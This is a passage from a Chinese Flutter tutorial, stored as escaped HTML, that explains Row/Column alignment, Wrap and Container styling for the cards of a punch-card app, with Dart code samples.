代表列。我们这个卡片是有三行的,每行是有对应元素的。通过这个,我们可以写出这个东西的框架了。\u003c/p\u003e\n\u003cp\u003e我们先实现每一行,第一行是在两侧的两个元素,注意到中间很大间隔了吗?这个是 Row 的一个属性,AxisAlignment。\u003c/p\u003e\n\u003cp\u003eAxisAlignment 是指这个部件两个轴上部件的排列方式,分为主轴 MainAxisAlignment 和交叉轴 CrossAxisAlignment。这张图片显示出这两个部件的主轴和交叉轴。我们通过修改这个,来规划好在该列/行上元素的排列方式。对于第一行,我们是这样写的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e//第一个Text\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e//第二个Text\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e剩下两行我这里就不赘述了,他们的排列方式都是靠左,也就是默认值。大致的代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;第1次\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epumch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;2022-12-12 11:11:11\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以上部分是最基本设计Flutter布局的样例了。实际使用中,这样写的方式很死板,遇到一些动态变化的组件,比如说很多行的文字,Column高度侦测问题等等,会花费大量的时间设置这些东西的样式。所以,在实际PDA的编写中,我是使用了Warp来让其自动排列这些组件,你只是需要输入这些部件就好了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrapAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003espaceBetween\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTagsBoxes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etext:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;第 \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003emark\u003c/span\u003e\u003cspan class=\"s2\"\u003e 条\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebackgroundColor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eprimaryColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esituation\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDivider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchDay\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchTime\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emachineName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror_outline\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereplaceAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 InformationWithIcon 是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIconData\u003c/span\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esize:\u003c/span\u003e \u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etertiary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSizedBox\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eExpanded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTagsBoxes 需要在 Container 讲明白了之后才能说明。\u003c/p\u003e\n\u003ch3 id=\"container\"\u003eContainer\u003c/h3\u003e\n\u003cp\u003eContainer是一个拥有绘制、定位、调整大小的 widget,是开发中最常用、最基础的组件。顾名思义,他能包装很多的组件。地位类似于 HTML 的 div。\u003c/p\u003e\n\u003cp\u003e上面的组件,如果我要成为一个个卡片,我得用这个包装:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e对于 Container,我们需要引入一些对于有些人很熟悉的东西,也就是说,Margin 和 Padding,外边距和内边距。对于 Container 而言,内边距用到的最多。我们还可以设置这玩意的边框,圆角,背景颜色之类。扩展完相当于这样:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadious:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 上面展示的东西 */\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 